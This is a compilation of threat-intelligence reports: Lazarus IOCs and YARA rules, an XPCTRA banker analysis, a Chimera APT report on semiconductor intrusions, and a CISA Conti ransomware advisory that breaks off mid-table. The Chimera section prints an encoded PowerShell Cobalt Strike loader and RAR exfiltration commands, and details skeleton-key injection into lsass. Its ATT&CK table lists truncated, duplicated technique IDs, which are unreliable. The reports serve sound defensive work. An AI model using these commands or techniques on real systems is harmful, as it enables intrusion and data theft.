SCSKAppLink.dll - MD5: b3a8c88297daecdb9b0ac54a3c107797 - SHA256: a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776 - Type: x86, dll 2. NppAStyle.dll - MD5: 98151ba9f3e0a55bba16c58428b3a178 - SHA256: 61367c3a1d4c9ccaee568157bc4cf2feb997161ed3395878a448d8a2bf67dfa9 - Type: x64, dll - 1번 악성코드와 동일한 문자열 테이블 사용. 3. 추가 악성코드 다운로드지 - grandgolf[.]co.kr/html/facilities/facilities_01_06.asp? - www.namchuncheon.co[.]kr/admin/BookAppl/Search_left.asp? - www.kdone.co[.]kr/Utils/EmailUtil.asp? ### Appendix 2: Detection Yara Rule ```yara import "pe" rule Lazarus_door { meta: description = "Lazarus sample disguised as Notepad++ plugin detection rule" author = "S2WLAB TALON hypen" date = "2021-07-02" version = "1.0" strings: $decode = {0F B6 45 0C 33 D2 B9 48 00 00 00 F7 F1 8A 0F B8 01 00 00 00 53 84 D2 0F B6 DA 0F 44 D8 84 C9 74 70 29 7D 08 56 8B F7 8B 7D 08 0F 1F 84 00 00 00 00 00 33 C0 3A 88 20 90 06 10 74 08 40 83 F8 48 72 F2 EB 41 33 D2 0F B6 CB 39 55 10 74 18 03 C1 B9 48 00 00 00 F7} $decode2 = {89 45 F8 8B CB 8D 14 45 01 00 00 00 0F AF D0 8B DE 8B 45 08 89 4D FC 8D 34 4D 01 00 00 00 0F AF F1 2B 58 04 8B C7 8B 7D 08 C1 C2 05 8B CA 83 E1 1F C1 C6 05 2B 07 83 EF 08 D3 CB 33 DE 89 7D 08 83 E6 1F 8B CE 8B 75 F8 D3 C8 33 C2 8B 55 FC} $table = "lM8FHOIqrEDm3dUB54_bsuX60GoKVaw9SPxc1kRQvWC-h2jf7egNizJTyZnAYLpt." condition: uint16(0) == 0x5A4D and 1 of them } rule Lazarus_door_signature { meta: description = "Lazarus sample disguised as Notepad++ plugin signature detection rule" author = "S2WLAB TALON hypen" date = "2021-07-02" version = "1.0" condition: uint16(0) == 0x5A4D and for any i in (0 .. pe.number_of_signatures) : (pe.signatures[i].serial == "2b:7c:17:f1:a3:b3:df:bc:4f:8a:48:af:73:7c:43:2d") } ```
# XPCTRA Malware Steals Banking and Digital Wallet User's Credentials ## 1. Introduction While hunting some phishing emails these days, I came across a malware campaign similar to EngineBox, a banker capable of stealing user credentials from multiple banks. XPCTRA, as I call today’s variant, in addition to banking data, steals online digital wallet users’ credentials from services such as Blockchain.info and PerfectMoney. The malspams used in the campaign try to induce the victim to open a supposed bank bill link. It actually leads to the download of the XPCTRA dropper, that is, the part of the malware responsible for environment recognition and downloading new components. Once executed, it initiates a connection with an Internet address to download other malware parts responsible for later malicious actions. In this diary, I present the XPCTRA analysis and the indicators of compromise used in this campaign. ## 2. Threat analysis Unlike the previous variant, XPCTRA (read it like “expectra”) does not make use of as many layers of encoding as EngineBox did to try bypassing security layers, which made the analysis simpler. The infection vector (malspam) links to a supposed PDF invoice, which actually leads the victim to download an executable file (dropper). Once executed, the dropper downloads a “.zip” file, unzips and executes the malware payload. It then begins a series of actions, including: - Persists itself into the OS, in order to survive system reboot. - Changes Firewall policies to allow the malware to communicate unrestrictedly with the Internet. - Instantiates “Fiddler”, an HTTP Proxy that is used to monitor and intercept user access to the financial institutions. - Installs the Fiddler root certificate to prevent the user from receiving digital certificate errors. - Points Internet Browsers settings to the local proxy (Fiddler). - Monitors and captures user credentials while accessing the websites of 2 major Brazilian banks and other financial institutions. - Stolen credentials are sent to criminals through an unencrypted C&C channel. - Establishes an encrypted channel to allow the victim’s system to be controlled by the attackers (RAT). - Monitors and captures user credentials while accessing email services like Microsoft Live, Terra, IG and Hotmail. These accesses are used to spread the malware further. **NOTE:** The XPCTRA sample analysed here (idfptray.exe) was not yet known by VT (VirusTotal) until my submission. ## 3. Quasar RAT After posting EngineBox malware analysis last month, through community feedback, I came to know that the threat embedded a framework called Quasar RAT developed in C#. The goal of this framework is to provide a tool for remote access and management of Windows computers— hence the name, RAT (Remote Access Tool). It turns out the variety of functions the open-source framework has, such as remote desktop, keylogger, etc., made it quite attractive for cybercriminals who ended up using it as a RAT (Remote Access Trojan) tool within their malware. In addition to Quasar, XPCTRA incorporates Fiddler to play the role of HTTP Proxy and, of course, the code responsible for intercepting communications with financial institutions and sending SPAM as well. ## 4. Digital currency wallets In addition to banking credentials, XPCTRA is able to steal digital currency wallet’s credentials hosted online like Blockchain.info, PerfectMoney and Neteller. ## 5. Final words The result of this analysis draws our attention to the security of digital currency wallets, especially those “hosted” in the cloud. Just as customers of traditional financial institutions have faced over the years the most diverse fraud attempts and had to protect themselves, so should digital money users. Give preference to services that offer a second authentication factor for transactions and be sure to enable it. ## 6. Indicators of compromise (IOCs) **Files** - MD5 (250920178234282343294329423.exe) = 4fec5a95ba8222979b80c0fc83f81edd - MD5 (idfptray.exe) = 339c48b0ac25a9b187b8e76582580570 **Network** - hxxp://65.181.113.151/telnetd/chaves3.zip - hxxp://fritas.cheddarmcmelt.top/master/PhpTrafico.php - hxxp://fritas.cheddarmcmelt.top/master/Controle.php - hxxp://fritas.cheddarmcmelt.top/master/conf/Html.txt - coca.cheddarmcmelt.top TCP/8799 - coca.cheddarmcmelt.top TCP/222
# Chimera APT Threat Report ## Introduction This threat report provides an analysis of the advanced persistent threat (APT) attacks that have occurred during the past two years on the semiconductor industry. Our research shows that the majority of these attacks were concentrated on the Taiwan semiconductor sector. This is worthy of concern, as Taiwan’s semiconductor industry plays a very crucial role in the world. Even a small disruption in the supply chain could have a serious ripple effect throughout the entire industry. Surprisingly, up until now, there has been less coverage on these attacks. In this report, we seek to shed light on the threat actors and campaigns of these attacks, where they are collectively referred to as **Operation Skeleton Key**. Additionally, we provide a brief overview of the current information security status of Taiwan’s semiconductor industry. With decades of development, Taiwan has established itself as a leading player in the semiconductor supply chain, including many well-known leaders in the area. According to a report by the Semiconductor Equipment and Materials International (SEMI), the global industry association representing the electronics manufacturing supply chain, Taiwan has been the largest consumer of semiconductor materials in the past several years. Meanwhile, Wikipedia says that Taiwan is currently among the top 5 sales leaders in multiple segments including foundry, integrated device manufacturer (IDM), fabless, and outsourced semiconductor assembly and testing (OSAT). In 2019, Taiwan’s total semiconductor value reached a staggering $11.4 billion. Needless to say, the repercussions from a cyber attack on Taiwan’s semiconductor sector could be catastrophic. Due to the high market value of the semiconductor industry, vendors have invested heavily in their cyber capabilities, especially in protecting the industrial control system (ICS) equipment used in fabrication plants. Although operational technology (OT) and information technology (IT) security is equally important, more emphasis has been placed on the former. This is evidenced by the fact that many vendors have opted to isolate their ICS equipment to ensure the manufacturing process is never interrupted. The downside to this approach is that once malicious code finds its way into the isolated environment, it can spread to other machines very quickly. One foremost example is the 2018 WannaCry ransomware attack on TSMC. The hit on the world’s largest foundry company forced some of the plants to go offline for an entire day. Additionally, it took several days before the malware could be fully eradicated. The total damage caused by this attack reached $256 million. Separately, ASUS, which is a leading PC manufacturer in Taiwan, saw millions of its users impacted by **Operation ShadowHammer**. In this report, we will show how IT attacks on semiconductor vendors can be just as damaging as an OT attack. Between 2018 and 2019, we discovered several attacks on various semiconductor vendors located at the Hsinchu Science-based Industrial Park in Taiwan. As these attacks employed similar attack techniques and tactics, a pattern could be discerned from the malicious activities. From this pattern, we deduced that these attacks, which we dubbed **Chimera APT Group**, were actually conducted by the same threat actor. The main objective of these attacks appeared to be stealing intelligence, specifically documents about IC chips, software development kits (SDKs), IC designs, source code, etc. If such documents are successfully stolen, the impact can be devastating. The motive behind these attacks likely stems from competitors or even countries seeking to gain a competitive advantage over rivals. Since these techniques and tactics were similar to previous attack activities, we suspect the attacker is a China-based hacker group. We thus hope that this report will help semiconductor companies gain a better understanding of the dangers from such attacks. Additionally, as we have worked with several of the semiconductor vendors to improve their cyber security, we wish to share this valuable experience and highlight the current challenges facing the entire industry. In this report, we conduct a comprehensive analysis on the employed technologies, tactics, and customized malware of **Chimera APT Group**. As this operation has not yet been documented, the techniques and tactics disclosed in this report can help blue teams design better defenses and develop better detection and hunting methods. Below summarizes our findings of **Chimera**. 1. A unique account manipulation malware - **SkeletonKeyInjector** – was used. SkeletonKeyInjector contained code extracted from Dumpert and Mimikatz. This malware implanted a skeleton key into domain controller (DC) servers to continuously conduct lateral movement (LM). Additionally, by making direct syscalls, the malware could bypass security products based on API hooking. This malware was discovered in the two cases mentioned in this report. 2. The threat actor utilized **Cobalt Strike** as their main remote-access Trojan (RAT). The mutated Cobalt Strike backdoor replaced and masqueraded as Google Update to confuse users. Additionally, as most corresponding (command and control) C2s were located in the Google Cloud Platform, it made it difficult to attribute the actor. Aside from the two cases mentioned in this report, we also detected the presence of this malware in other semiconductor vendors. 3. Chimera used an old and patched version of RAR for data exfiltration. The same binary was found in the two cases mentioned in this report. ## Storyline of the Operation During our investigation of **Chimera APT Group** between 2018 to 2019, more than 30,000 endpoints belonging to various semiconductor vendors were analyzed. Two representative cases were chosen for a deeper analysis. The two cases (hereafter Case A and Case B) involved in the analysis currently have a leading global position in their own market segments. With business sites scattered around the world and a large annual revenue, their main research and development hub are both located in Taiwan. Two different approaches were adopted when investigating the two companies. For Case A, as we already enjoyed a long-term cooperation, our assistance focused on monitoring their systems. This allowed us to quickly identify the cyber attack in a short period of time. By contrast, as victims in Case B discovered on their own various abnormal activities, they asked for our help to formulate an effective incident response. During our forensic investigation, we found that the attacks had already been occurring for more than a year. As the activities, attack techniques, and tactics were similar in the other cases we investigated, we believe this was the work of the same threat actor. ### Case A In this case, the victim company had already subscribed to our continuous threat hunting service. Our investigation revealed malicious activities occurring between 2019-12-09 and 2019-12-10. Meanwhile, in this incident, 15 endpoints and 6 user accounts were compromised, and 4 malwares and 8 C2 servers were found. To help better depict the operational details of this case, the cyber situation graph and storyline is respectively shown in Fig 1. Note that all the server/user names are de-identified and replaced with names that can represent their roles. The same APT malware - **GoogleUpdate.exe** - was found on two endpoints. On the day we discovered this malware, no information could be found on VirusTotal (VT). To confuse security products and analysts, the malware replaced the original GoogleUpdate binary and functioned as a mutated Cobalt Strike beacon to inject payloads into other processes. Moreover, network security devices had difficulty detecting the associated C2 servers, as they were located in the Google Cloud Platform. The C2 server domains are listed in Appendix I of the IoC section. After successfully connecting back to the C2, the attacker used **RECORDEDTV.MS** to archive the stolen data for data exfiltration. It is worthy to note that even without the .exe file extension, the data exfiltration process could still be executed. Identical binaries were found in several machines, but under different names, e.g. RECORDEDTV.MS, uncheck.dmp, and jucheck.exe. This aroused our suspicions and prompted us to suspect the binary was masquerading as a Java Update program. Inserting malware in a location where legal software is stored seems to be a characteristic tactic of **Chimera**. For this case, it was found that the disguised program, which was a modified RAR software, had a one-byte discrepancy from the original version. We are still ascertaining the reasons behind this difference. To track the root cause, we found that the first Cobalt Strike backdoor was located at **NB-CLAIR**, and was then remotely copied to **Server-LAUREN**. A valid account was used to invoke Cobalt Strike via schtasks. The recon activities in **Server-LAUREN** are illustrated in the figure below. Several "net user" commands were executed for recon purposes, and the results were saved to the **RecordedTV_lib.log**. Our analysis also showed that **Server-LAUREN** used **wmic** to remotely execute various commands in another endpoint to check if there was an Internet connection. **Server-LAUREN** also archived the registry and **ntds.dit** to other hosts for offline breaking. The latter is an AD database, which contains information about domain hosts and users, e.g. id, name, and password hash. Since this file was encrypted, and the key was stored in the SYSTEM registry, the threat actor needed to archive both **ntds.dit** and the registry to both decrypt the file and remotely brute-force the password hash. The control of **Server-LAUREN**, which was also achieved via schtasks, was traced back to the **NB-CLAIR** machine. From the **NB-CLAIR** timeline, we noticed that a remote desktop program (RDP) from a certain IP was run just six minutes before the schtasks was executed. Since this IP was a VPN server, and a valid account was used to log in to it, we believe the actor acquired the password from a separate data breach. At the end of the attack, the **wlanapi.dll** malware, which we dubbed **SkeletonKeyInjector**, was used for persistence. More details of the malware reversing will be provided in **Sec. 4 Malware Reversing**. ### Case B Suspicious activities were discovered in the victim company of Case B during an upgrade to their network infrastructure. We were tasked by the company to investigate this incident, which began in November 2019. During our investigation, we found that the cyber attack pattern resembled the tactics employed by **Chimera**. The entire attack occurred between October 7, 2018, to November 18, 2019, and a total of 24 endpoints were compromised. In these endpoints, 8 compromised accounts, 3 malware, and 5 C2 servers were discovered. The persistence of this attack can be seen by the fact that it lasted for more than a year. The cyber situation graph and storyline are respectively shown in Fig 6 and Fig 7. Unlike Case A, PowerShell scripts were widely used, which can be seen in the following code snippets. To avoid the file-based detection mechanism, the payload was injected directly into the system memory. The injected malware was discovered in roughly 10 endpoints, which included two domain controllers. The PowerShell script was a Cobalt Strike backdoor and was used for process migration to other system processes. We found several hosts that had the Cobalt Strike malware implanted in their infected **svchost.exe**. Despite the discovery of the early stage malware and activities, the launch of our investigation was already at a very late point in time. Thus, there was insufficient evidence to pinpoint the likely initial access point. We surmise that the attack occurred via stolen valid credentials or phishing emails. ```powershell powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEAAQQBBAEEAQQBBAEEAQQBLAFYAVwBiAFcALwBpAE8AQgBEACsAMwBQAHcASwBYADQAVgAwAG8ASgBaADMAdABnAHQAZABWAFYAbwBuAFEAQQBrAGwAbABKAGMAVwAyAGsAWABWAHkAUwBRAG0AdQBEAGcASgBkAFoAeQBtAGQATABmAC8ALwBTAFkAdgA1AEoAYgAyAGIAawArADYAaQB4AFEAbABuAHMAdwA4AE0AOAA5ADQAUABKAE0AcABsAGMAVwBwAEYATQB5AFUAaABtAGQAUgBWAEoAeABSADQAVABQ ``` As mentioned earlier, legal cloud services were widely used by **Chimera** as their C2 to avoid threat attribution. In this case, **Appspot.com** and **azureedge.net** were applied as the C2. The actor also used a RAR program under the guise of innocuous file names such as **RecordedTV.ms**, **jucheck.exe**, and **vmware.log** to archive and steal the data of interest. A similar scheme was utilized by the attacker to archive the passwords they used. The following shows a sample command of the archived information. ```plaintext c:\users\xxxx\libraries\RecordedTV.ms a -m5 -v71m -hpfuckyou.google.com11 vmlum-vss.log C:\Windows\system32\cmd.exe /C c:\users\xxxxxx\libraries\RecordedTV.ms a -m5 -r -hpfuckyou.google.com11 vmlum-vmopt.log “\\<Hostname>\personal\<Username>\<Product>-Traning-v1.1.pptx" > vmlumss.log & dir vmlum-vmopt* ``` ### Leaked File Name Based on the file names of the stolen files, it seemed to include chip documents, SDKs, and even the source code. The key motive of the actor was to acquire semiconductor proprietary data. Similar to Case A, a DLL file (**d3dll.dll**) was used to deploy a Skeleton Key malware. An in-memory patch was performed to allow easy system log-in. Some of the de-identified leaked file names are listed below. - \\Users\<Account>\Project\Roadmap - \\Users\<Account>\Backup\Workspace - \\Users\<Account>\chip and SDK setting - \\Users\<Account>\<Productname> SDK Installation guide.pdf It is worthy to note that among the various semiconductor vendors we investigated, similarities were seen in the deployed malware, techniques, and tactics. This particular APT group seemed to have a keen interest in targeting the semiconductor industry. Additionally, in the absence of an AD monitoring system, we saw some vendors employing a white-list enforcement approach. Although this is a feasible approach, as the AD cannot execute any software outside the white-list, our investigation shows that APT actors were still able to use Living off the Land Binaries (LOL) bins to launch an attack. ## Malware Reversing Our analysis also revealed several suspicious memory modules. The first memory module resembled a CobaltStrike or Metasploit beacon. The memory module was a PE file with a broken header. From the figure, we can also see that the PE metadata has some invalid values, which contains a hidden shellcode (from offset 2). The disassembled shellcode, which is a Reflective Loader, is listed in the figure. It first located the next payload at offset 0x1791C, and then loaded the payload. Meanwhile, **56A2B5F0** is the API hash of **ExitProcess**, which denotes the process exit. The other memory modules contained a different CobaltStrike beacon and were used for migration. The first stage beacon injected a payload to a process for process migration. From the memory content, the “.\pipe\mojo.5688.805…” string was the pipe created by the CobaltStrike beacon. As we performed a deeper reverse engineering, we found that the process migration made use of the pipe inter-process (IPC) mechanism for communication. The injected code first used **CreateNamePipe** and **ConnectNamePipe** to establish an IPC with the original beacon. After reading the entire shellcode via the **ReadFile** from the name pipe, the shellcode was invoked, and a CobaltStrike backdoor was created. Upon discovery of this sample, we first performed a retrohunt analysis. The discovery of a related binary led us to initially believe the sample was a Dumpert. However, a more in-depth analysis revealed that the **d3d11.dll** sample implanted a skeleton key, where adversaries could persistently control the infected machine and machines under the infected AD. More specifically, the malware was an account manipulation tool that contained code extracted from both Dumpert and Mimikatz. We called this malware **SkeletonKeyInjector**. The malware employed a technique that altered the NTLM authentication program and implanted a skeleton key to allow adversaries to log in without a valid credential. This allowed the adversary to achieve the following objectives: - **Persistence**: After the code in memory was altered, the adversary could gain access to the compromised machines before the next system reboot. As AD machines are rarely rebooted, the adversary was able to control the machines for a very long time. - **Defense Evasion**: Aside from the different login password and login algorithm scheme, there was no difference when compared to a normal login activity. Furthermore, normal users could still log in to the system via their original password. Thus, the probability of being exposed was low. - **Lateral Movement**: Adversaries could use the skeleton key to log in to other machines that were in the same domain. This made it easier for an adversary to conduct lateral movement. To show which functions shared a resemblance to Mimikatz or Dumpert, we reversed the functions of **d3d11.dll** and recovered the function names. For easy understanding, we recovered the function names that migrated from Mimikatz, which have either the “kuhl” or “kull” prefix. As for functions that migrated from Dumpert, the prefix “Dumpert” was included in the name. For functions that were implemented by the adversary, no prefix was added. In order to bypass the API monitoring, which is widely used in anti-virus or EDR products, the malware directly invoked syscalls and implemented high-level API logic. Since the syscall numbers differ between each Windows version, the following code snippet was used to determine the OS version in use, and thereby obtain the correct syscall number. Our analysis showed that this code snippet was copied from Dumpert. To run the Mimikatz code snippet used by the malware, a privilege called **SE_DEBUG_PRIVILEGE** was needed. The code used **RtlAdjustPrivilege** to obtain the **SE_DEBUG_PRIVILEGE** to allow the malware to open, read, and write other process memory as a debugger. By comparing the code snippet with the original code in Mimikatz, we found that instead of calling the **OpenProcess** API, the malware invoked **OpenProcess** via Dumpert. As mentioned earlier, the malware sought to bypass the API hooking via syscalls. **SkeletonKeyInjector** first searched for the string “Kerberos-Newer-Keys” in the **lsass.exe** process memory. When the “Kerberos-Newer-Keys” address was found, it then searched for the Unicode structure in the memory that referenced this address. Afterwards, the Unicode structure was altered with empty strings by manipulating the string reference to an empty string and size zero. This manipulation downgraded the **lsass.exe** in using insecure crypto scheme - RC4 without salt. The similar code segments between Mimikatz and **d3d11.dll** are shown. After downgrading to RC4, the **SkeletonKeyInjector** altered the function pointers in **cryptdll.dll!CDLocateCSystem** by redirecting them to its customized functions. Specifically, two functions were altered, one for the RC4 initialization, and the other for the RC4 decryption. In the RC4 initialization function, a new RC4 NTLM was injected with a pre-calculated hash value of the skeleton key. When the authentication check failed due to incorrect credentials, the RC4 decryption function prompted the authentication process to compare the credentials with the skeleton key. Once a match was confirmed, the log in was permitted. Noteworthy, the malware contained a customized NTLM hash, which had a slight difference over the original Mimikatz. **RecordedTV.ms (jucheck)** is not considered malware, but a modified legitimate RAR program that was utilized in this operation. The original version is shown below: ``` RAR 3.60 beta 8 Copyright (c) 1993-2006 Alexander Roshal 20 Jul 2006 ``` Specifically, this is a **rar.exe v3.6**. Our research shows one of the bytes in the code segment was altered. However, we are still determining the reason why a byte size data was altered. All of the cases that we investigated used this modified **rar.exe** program to archive the stolen data, which is evidence that these attacks were likely conducted by the same group. The last malware involved in this operation was **BaseClient.exe**, which is a general network testing tool. We suspect this program was not developed by the adversary, but was obtained from a benign source. Used by the adversary for network reconnaissance, it is unlikely to be flagged by security systems, as the program may be inherently benign. ## MITRE ATT&CK Techniques In this chapter, we summarize the techniques employed in **Chimera APT**. These techniques are organized based on the MITRE ATT&CK framework. | Tactic | ID | Technique | Description | |----------------|-----------|-----------------------|-------------| | Initial Access | T113 | External Remote Services | The threat actor’s first entry point was from a VPN server, where a valid account was used. We believe the actor acquired the password from a separate data breach to login to the VPN. | | Execution | T104 | Windows Management Instrumentation | The threat actor used **wmi** to remotely execute commands on another endpoint for reconnaissance, primarily checking the Internet connection availability. | | | T108 | Powershell | The threat actor used a Cobalt Strike PowerShell script for process migration to other system processes. Meanwhile, BloodHound was used to assess the privilege settings in the Active Directory (AD) domain and devise attack paths. | | | T105 | Scheduled Task | The threat actor leveraged scheduled tasks to launch APT malware to a remote system using domain controller account credentials. After the execution, the threat actor removed the scheduled task information to hide the system artifact. | | Defense Evasion| T105 | Process Injection | The discovered memory module showed that Cobalt Strike conducted process injection to migrate to other processes. | | Discovery | T108 | Account Discovery | The 'net user' commands were used to recon user information. The final results were dumped to **RecordedTA_lib.log**. | | Credential Access | T100 | Credential Dumping | NTDS from Domain Controller, threat actor collected registry and **ntds.dit** in other hosts from the domain controller for offline breaking. The threat actor merged code from Dumpert and Mimikatz to dump system credentials, which was hard to detect by security products. | | Persistence | T109 | Account Manipulation | The threat actor used Skeleton key to inject false credentials into domain controllers with the intent of creating a backdoor password. This stealthy technique was hard to detect. | | Lateral Movement | T107 | Remote Desktop Protocol | The threat actor used a valid account to remotely login to the system. | | | T107 | Windows Admin Shares | The threat actor used Windows admin share to collect and LM to remote system. | | Command and Control | T110 | Web Service | The threat actor widely used Google’s appspot to host their C2 servers. | | Exfiltration | T153 | Data Encrypted | One characteristic of the threat actor was using “fuckyou.google[.]com” as the password to encrypt the stolen data. | | | T100 | Data Compressed | This program was a modified RAR software, where there was a one byte inconsistency over the original version. | ## Conclusion For nearly two years, our team monitored several attacks that targeted Taiwan’s semiconductor vendors. We believe these attacks originated from the same threat actor - **Chimera**, as these attacks utilized similar tactics, techniques, and even the same customized malware. The actor likely harvested various valid credentials via phishing emails or data breaches as their starting point to conduct their cyber attack on the vendors. **CobaltStrike** was later used as their main RAT tool. To avoid detection, the **CobaltStrike RAT** was often masqueraded as a Google Chrome Update. The RAT would then connect back to their C2 server. As these servers were in a public cloud server, it made it difficult to track. Subsequently, by compromising the AD server, the delicate malware - **SkeletonKeyInjector** - was invoked to implant a general key to allow LM, persistence, and defense evasion. Although this malware was discovered for the first time, we have high confidence that these attacks were conducted by the same threat actor. Based on the stolen data, we infer that the actor’s goal was to harvest company trade secrets. The motive may be related to business competition or a country’s industrial strategy. We hope that the tactics, techniques, and IoCs disclosed by this report can better help semiconductor vendors improve their security mechanisms and prevent such attacks from occurring again.
# Conti Ransomware: Immediate Actions You Can Take Now to Protect Against Conti Ransomware ## SUMMARY March 9, 2022: This joint CSA was updated to include indicators of compromise and the United States Secret Service as a co-author. Updated February 28, 2022: Conti cyber threat actors remain active, and reported attacks against U.S. and international organizations have risen to more than 1000. Notable attack vectors include Trickbot and Cobalt Strike. While there are no specific or credible cyber threats to the U.S. homeland at this time, CISA, FBI, NSA, and the United States Secret Service encourage organizations to review this advisory and apply the recommended mitigations. The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have observed the increased use of Conti ransomware in more than 400 attacks on U.S. and international organizations. In typical Conti ransomware attacks, malicious cyber actors steal files, encrypt servers and workstations, and demand a ransom payment. To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA. This document was developed by CISA, FBI, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. **DISCLAIMER:** The information in this Joint Cybersecurity Advisory is provided "as is" for informational purposes only. CISA, FBI, and NSA do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. To secure systems against Conti ransomware, CISA, FBI, and NSA recommend implementing the mitigation measures described in this Advisory, which include requiring multifactor authentication (MFA), implementing network segmentation, and keeping operating systems and software up to date. ## TECHNICAL DETAILS While Conti is considered a ransomware-as-a-service (RaaS) model ransomware variant, there is variation in its structure that differentiates it from a typical affiliate model. It is likely that Conti developers pay the deployers of the ransomware a wage rather than a percentage of the proceeds from a successful attack. Conti actors often gain initial access to networks through: - Spearphishing campaigns using tailored emails that contain malicious attachments or malicious links. - Stolen or weak Remote Desktop Protocol (RDP) credentials. - Phone calls. - Fake software promoted via search engine optimization. - Other malware distribution networks (e.g., ZLoader). - Common vulnerabilities in external assets. In the execution phase, actors run a getuid payload before using a more aggressive payload to reduce the risk of triggering antivirus engines. CISA and FBI have observed Conti actors using Router Scan, a penetration testing tool, to maliciously scan for and brute force routers, cameras, and network-attached storage devices with web interfaces. Additionally, actors use Kerberos attacks to attempt to get the Admin hash to conduct brute force attacks. Conti actors are known to exploit legitimate remote monitoring and management software and remote desktop software as backdoors to maintain persistence on victim networks. The actors use tools already available on the victim network—and, as needed, add additional tools such as Windows Sysinternals and Mimikatz—to obtain users’ hashes and clear-text credentials, which enable the actors to escalate privileges within a domain and perform other post-exploitation and lateral movement tasks. In some cases, the actors also use TrickBot malware to carry out post-exploitation tasks. According to a recently leaked threat actor playbook, Conti actors also exploit vulnerabilities in unpatched assets to escalate privileges and move laterally across a victim’s network: - 2017 Microsoft Windows Server Message Block 1.0 server vulnerabilities. - "PrintNightmare" vulnerability (CVE-2021-34527) in Windows Print spooler service. - "Zerologon" vulnerability (CVE-2020-1472) in Microsoft Active Directory Domain Controller systems. Artifacts leaked with the playbook identify four Cobalt Strike server Internet Protocol (IP) addresses Conti actors previously used to communicate with their command and control (C2) server: - 162.244.80[.]235 - 85.93.88[.]165 - 185.141.63[.]120 - 82.118.21[.]1 CISA and FBI have observed Conti actors using different Cobalt Strike server IP addresses unique to different victims. Conti actors often use the open-source Rclone command line program for data exfiltration. After the actors steal and encrypt the victim's sensitive data, they employ a double extortion technique in which they demand the victim pay a ransom for the release of the encrypted data and threaten the victim with public release of the data if the ransom is not paid. ## INDICATORS OF COMPROMISE Updated March 9, 2022: The following domains have registration and naming characteristics similar to domains used by groups that have distributed Conti ransomware. Many of these domains have been used in malicious operations; however, some may be abandoned or may share similar characteristics coincidentally. **Domains** - badiwaw[.]com - fipoleb[.]com - kipitep[.]com - pihafi[.]com - tiyuzub[.]com - balacif[.]com - fofudir[.]com - kirute[.]com - pilagop[.]com - tubaho[.]com - barovur[.]com - fulujam[.]com - kogasiv[.]com - pipipub[.]com - vafici[.]com - basisem[.]com - ganobaz[.]com - kozoheh[.]com - pofifa[.]com - vegubu[.]com - bimafu[.]com - gerepa[.]com - kuxizi[.]com - radezig[.]com - vigave[.]com - bujoke[.]com - gucunug[.]com - kuyeguh[.]com - raferif[.]com - vipeced[.]com - buloxo[.]com - guvafe[.]com - lipozi[.]com - ragojel[.]com - vizosi[.]com - bumoyez[.]com - hakakor[.]com - lujecuk[.]com - rexagi[.]com - vojefe[.]com - bupula[.]com - hejalij[.]com - masaxoc[.]com - rimurik[.]com - vonavu[.]com - cajeti[.]com - hepide[.]com - mebonux[.]com - rinutov[.]com - wezeriw[.]com - cilomum[.]com - hesovaw[.]com - mihojip[.]com - rusoti[.]com - wideri[.]com - codasal[.]com - hewecas[.]com - modasum[.]com - sazoya[.]com - wudepen[.]com - comecal[.]com - hidusi[.]com - moduwoj[.]com - sidevot[.]com - wuluxo[.]com - dawasab[.]com - hireja[.]com - movufa[.]com - solobiv[.]com - wuvehus[.]com - derotin[.]com - hoguyum[.]com - nagahox[.]com - sufebul[.]com - wuvici[.]com - dihata[.]com - jecubat[.]com - nawusem[.]com - suhuhow[.]com - wuvidi[.]com - dirupun[.]com - jegufe[.]com - nerapo[.]com - sujaxa[.]com - xegogiv[.]com - dohigu[.]com - joxinu[.]com - newiro[.]com - tafobi[.]com - xekezix[.]com - dubacaj[.]com - kelowuh[.]com - paxobuy[.]com - tepiwo[.]com - fecotis[.]com - kidukes[.]com - pazovet[.]com - tifiru[.]com ## MITRE ATT&CK TECHNIQUES Conti ransomware uses the ATT&CK techniques listed in the table below. **Table 1: Conti ATT&CK techniques for enterprise** | Technique Title | ID | Use | |-----------------|----|-----| | Valid Accounts | T1078 | Conti actors have been observed gaining unauthorized access to victim networks through stolen RDP credentials. | | Phishing: Spearphishing Attachment | T1566.001 | Conti ransomware can be delivered using TrickBot malware, which is known to use an email with an Excel sheet containing a malicious macro to deploy the malware. | | Phishing: Spearphishing Link | T1566.002 | Conti ransomware can be delivered using TrickBot, which has been delivered via malicious links in phishing emails. | | Command and Scripting Interpreter: Windows Command Shell | T1059.003 | Conti ransomware can utilize command line options to allow an attacker control over how it scans and encrypts files. | | Native Application Programming Interface (API) | T1106 | Conti ransomware has used API calls during execution. | | External Remote Services | T1133 | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. | | Process Injection: Dynamic-link Library Injection | T1055.001 | Conti ransomware has loaded an encrypted DLL into memory and then executes it. | | Obfuscated Files or Information | T1027 | Conti ransomware has encrypted DLLs and used obfuscation to hide Windows API calls. | | Deobfuscate/Decode Files or Information | T1140 | Conti ransomware has decrypted its payload using a hardcoded AES-256 key. | | Brute Force | T1110 | Conti actors use legitimate tools to maliciously scan for and brute force routers, cameras, and network-attached storage devices with web interfaces. | | Steal or Forge Kerberos Tickets: Kerberoasting | T1558.003 | Conti actors use Kerberos attacks to attempt to get the Admin hash. | | System Network Configuration Discovery | T1016 | Conti ransomware can retrieve the ARP cache from the local system by using the GetIpNetTable() API call. | | System Network Connections Discovery | T1049 | Conti ransomware can enumerate routine network connections from a compromised host. | | Process Discovery | T1057 | Conti ransomware can enumerate through all open processes to search for any that have the string sql in their process name. | | File and Directory Discovery | T1083 | Conti ransomware can discover files on a local system. | | Network Share Discovery | 